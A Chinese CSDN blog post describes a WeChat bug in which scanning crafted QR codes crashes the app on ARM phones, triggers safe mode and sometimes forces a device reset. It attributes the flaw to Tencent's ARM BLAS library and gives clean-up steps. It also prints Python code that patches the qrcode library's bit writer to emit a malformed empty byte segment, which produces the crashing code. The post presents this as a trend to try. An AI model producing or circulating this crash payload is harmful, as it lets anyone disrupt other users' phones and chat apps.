微信扫码闪退bug

文章讨论了一个与二维码相关的bug,当移动端用户扫描特定二维码时,可能会导致应用闪退,甚至触发微信的安全模式。问题主要影响ARM架构的设备,而鸿蒙系统不受此问题影响。问题源被指向微信在ARM上实现的BLAS矩阵库中的bug。解决方案包括清除聊天记录或图片。
摘要由CSDN通过智能技术生成

今天发现好多人在发这个bug, 我也跟一下风,
下面的二维码先别扫,移动端打开就会闪退哦

在这里插入图片描述

好奇的话尝试一两次就可以了,别尝试次数太多,下面的这个也是

在这里插入图片描述

多次尝试会触发微信的安全模式。一些小内存手机甚至需要重置手机才可以​。

二维码本质上就是一个url网址,扫码,解析出这个网址​并访问。

当然如果不幸打开过,可以尝试用清空聊天记录,或者清空那张图片的方式来避免再次中招,看了一下从事安全朋友们的分析,说是某讯在arm实现的BLAS矩阵库有bug, 导致arm机型在qr识别时,全部中招,鸿蒙无这个问题。

详细代码见文章最后,下面是部分代码​。

import qrcode
from qrcode.util import *def reproduce(self, num, length):
    if num == 0:
        num = 233
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)
​
qrcode.util.BitBuffer.put = reproduce
​
res = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
​
modeNumber = QRData('1145141', MODE_NUMBER)
modeByte = QRData(b'.', MODE_8BIT_BYTE)
hackByte = QRData(b'', MODE_8BIT_BYTE)
​
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(hackByte)
​
res.make_image().show()


欢迎关注微信公众号:小生听雨园
md这狗平台审核真恶心,二维码放不出来,
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值